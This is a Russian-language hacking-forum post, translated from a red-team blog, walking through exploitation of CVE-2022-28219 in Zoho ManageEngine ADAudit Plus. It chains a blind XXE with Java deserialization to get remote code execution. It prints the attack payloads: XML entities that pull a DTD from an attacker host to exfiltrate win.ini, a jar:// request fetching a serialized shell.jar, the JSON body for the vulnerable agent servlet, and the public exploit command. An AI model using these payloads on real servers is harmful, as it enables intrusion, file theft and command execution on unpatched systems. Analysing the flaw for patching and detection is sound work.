• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья CVE-2022-28219 Zoho сочетает уязвимости Java XXE и десериализации для достижения RCE

вавилонец

CPU register
Пользователь
Регистрация
17.06.2021
Сообщения
1 116
Реакции
1 265
Это точно ЖЕСТЯНОЧКА, чую)
1663288063815.png

ОРИГИНАЛЬНАЯ СТАТЬЯ
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro
$600 на SSD для Jolah Molivski ---> 0x5B1f2Ac9cF5616D9d7F1819d1519912e85eb5C09 для поднятия ноды ETHEREUM и тестов

Снимок экрана_2022-09-15_20-31-53.png


1. Окружающая среда


https://archives2.manageengine.com/active-directory-audit/ - просто загрузите файл и создайте его, а затем создайте контроллер домена самостоятельно.

2. Анализ уязвимостей JAVA XXE

Я также сталкивался с проблемой java-протокола в CTF раньше. Псевдопротокол jar:// предоставляется в Java для удаленного получения файлов в пакете JAR. И вы можете извлечь указанный файл из пакета jar.
Код:
    jar:{url}!/{entry}

    urlis the remote file path, entryis the decompressed file.

jar процесс обработки протокола выглядит следующим образом
  • Загрузите пакет JAR или ZIP-файл во временный путь на удаленном сервере.
  • Извлечь указанный файл
  • удалить временные файлы
Временные файлы могут быть загружены потому что они есть!!. Здесь, чтобы продлить существование временных файлов, мы используем GitHub’s BlockingServer.

https://github.com/pwntester/BlockingServer

Давай попробуем
Код:
<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE root [

        <!ENTITY xxe SYSTEM "jar:http://127.0.0.1:9999/test.zip!/test1.txt">

        ]>

<root>&xxe;</root>

Первым на тест пришел test1.txt Этот файл не существует, поэтому расположение временного файла может быть раскрыто


1663289029126.png


Вы можете использовать file:// и другие протоколы для перечисления директории, чтобы найти местоположение временных файлов

2. Уязвимость десериализации

Скопируйте собранные файлы для подготовки к отладке.
Измените run.bat, после чего администратор запускает run.bat для начала отладки

Код:
set JAVA_OPTS=-Xmx512m -Dcatalina.home="%SERVER_HOME%" -Dserver.home="%SERVER_HOME%" -Dlog.dir="%SERVER_HOME%" -Ddb.home="%DB_HOME%" -Djava.library.path="%SERVER_HOME%\lib\native" -Dserver.stats=10000  -Dfile.encoding="utf8" -Djava.util.logging.manager="org.apache.juli.ClassLoaderLogManager" -Djava.util.logging.config.file="%SERVER_HOME%/conf/logging.properties" -Dserver.stats=10000 -Dcheck.tomcatport="true" -Dhaltjvm.on.dbcrash="true" -Duser.home="%SERVER_HOME%\logs" -Dorg.apache.catalina.authenticator.Constants.SSO_SESSION_COOKIE_NAME=JSESSIONIDADAPSSO   -Dhttps.protocols=TLSv1,TLSv1.1,TLSv1.2 -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005

Впервые обнаружен в webappsadapWEB-INFweb.xml CewolfServletЭтот сервлет является точкой уязвимости десериализации CVE-2020-10189.

1663289216043.png



1663289227599.png


Отсюда по подробнее

1663289275925.png


В основном смотрим на красные стрелочки

1663289315841.png

Потом на функцию getChartImage

1663289365350.png


Дальше сфокусировались на FileStorage

1663289412363.png



Здесь файл десериализован. А в этом фильтре нет. Так что мы можем добраться до сюда:

1663289474980.png


1663289484934.png


Так как есть ссылка на библиотеку ADAuditThe Commons-beanutils вы можете сгенерировать CB payload test.png, а затем попытаться атаковать.

1663289553899.png



1663289564279.png


Поиск уязвимостей xxe

Поэтому для записи в файл вводится вышеупомянутая запись во временный файл.
Сравнение патчей обнаружения com.adventnet.sym.adsm.auditing.server.category.ProcessTrackingListenerPatched to XML:

1663289648206.png


Для исправления используется новый класс инструментов SecurityUtil.getDocumentBuilder().
Давайте посмотрим, где он срабатывает. exist parseTaskContent Сделайте точку остановаи проанализируйте процесс.

1663289797817.png



Находим это ADAPAgentAPIServlet и продолжаем смотреть

1663289844668.png


Здесь и Get, и Post переходят к processRequest. затем введите executeAgentRequest

1663289887440.png


Долго тестил здесь, получить не получалось, в конце концов, я попробовал POST, чтобы получилось mappingInfo значение введите сюда AgentDataHandler.class

1663290055955.png


Обнаружено, что требуются данные в формате JSON

1663290139589.png


1663290154265.png

1663290177331.png

Здесь данные, то есть значения, которые я передал, хранятся в виде карт.
Затем увидим что это обрабатывается тут:

1663290324793.png


вызовет ниже ProcessMonitor.process(modData);

1663290400304.png


Для запуска функций этого процесса необходимы следующие параметры

Код:
[{        "DomainName": "whoamianony.org",
        "EventCode": 4688,
        "EventType": 0,
        "TimeGenerated": 0,
        "Task Content": "<XXE_PAYLOAD>"}]

а вход в функцию addEventRows

1663290530821.png


после этого

1663290551993.png


1663290562444.png


Наконец-то пришло время для обработки XML здесь

1663290602870.png


Таким образом, существует blindXXE.
Попробуем использовать уязвимость blindXXE для получения списка расположения file://temporary files с помощью xxe-ftp-server.


direct start py -2 .\xxe-ftp-server.py 127.0.0.1 3000 2122

Код:
[{        "DomainName": "whoamianony.org",
        "EventCode": 4688,
        "EventType": 0,
        "TimeGenerated": 0,
        "Task Content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE data [  <!ENTITY % file SYSTEM \"file:///c:/windows/win.ini\">  <!ENTITY % dtd SYSTEM \"http://192.168.111.1:3000/data.dtd\"> %dtd;]><data>&send;</data>"}]

Отправим файл на чтение. Сначала мы загружаем временные файлы с помощью протокола jar java BlockingServer 9999 shell.zip

Код:
[{        "DomainName": "whoamianony.org",
        "EventCode": 4688,
        "EventType": 0,
        "TimeGenerated": 0,
        "Task Content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE root [        <!ENTITY xxe SYSTEM \"jar:http://192.168.111.1:9999/shell.jar!/test.txt\">        ]><root>&xxe;</root>"}]

shell.jar является нашим файлом сериализации

1663290798665.png


Файл кэша найден. Десериализован файл всплывающего окна

1663290860810.png

https://www.horizon3.ai/red-team-blog-cve-2022-28219/
https://www.horizon3.ai/red-team-blog-cve-2022-28219/

Этот CVE показывает нам несколько вариантов использования уязвимости XXE. Одно из них - использование xxe-ftp-server для получения списка каталогов. Найти файлы. Второе - использование протокола jar для взаимодействия с инструментами для достижения цели записи файлов кэша.

Этот ZohoManage имеет как XXE, так и произвольную десериализацию файлов, и внутри есть CB-цепочка. вызывает выполнение команды.

EXP: https://github.com/horizon3ai/CVE-2022-28219

Попробуйте, и вы сможете выполнить RCE
Код:
py -3 CVE-2022-28219.py -t http://192.168.44.130:8081 -l 192.168.111.1 -d whoamianony.org -c calc.exe
 

Вложения

  • 1663290586840.png
    1663290586840.png
    12.4 КБ · Просмотры: 6


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх